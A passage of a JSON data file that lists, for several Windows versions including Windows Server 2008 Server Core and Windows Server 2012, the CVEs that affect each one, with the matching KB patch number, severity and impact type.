Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126593","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3158991","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3167679","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197655","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3198234","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012583","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0101","kb":"4011981","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4014793","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4018556","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019204","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041671","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4052303","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4021903","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022010","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4022748","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4039384","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8685","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038874","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4039038","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056615","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056759","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4101477","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4056564","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093478","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8120","kb":"4131188","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4134651","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8411","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4463097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4458010","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467706","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467706","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4134651","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480968","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499149","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493471","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530695","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534303","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537810","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541506","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556860","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556860","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571730","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571730","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003210","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003210","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003661","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5004955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005090","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005563","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006736","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-20569","kb":"5029318","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025271","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026408","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073697","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028222","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041850","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043135","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048710","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24985","kb":"5053888","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053888","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055609","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058449","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058449","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061026","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063888","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063888","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)":[{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3906","kb":"2901674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126041","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3158991","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3167679","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-7255","kb":"3198234","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012497","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0101","kb":"4011981","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4014793","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4018556","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019204","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041671","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4052303","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8469","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022010","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4022748","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4039384","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8685","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038874","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4039038","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056615","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056759","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4101477","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4056564","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093478","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8120","kb":"4131188","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4134651","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8411","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4463097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4458010","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467706","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467706","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4134651","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480968","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499149","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493471","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530695","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534303","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537810","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541506","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556860","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556860","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571730","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571730","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003210","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003210","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003661","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5004955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005090","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005563","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006736","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-20569","kb":"5029318","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025271","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026408","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073697","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028222","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041850","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043135","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048710","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24985","kb":"5053888","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053888","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055609","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058449","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058449","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061026","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063888","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063888","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2012":[{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901127","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code 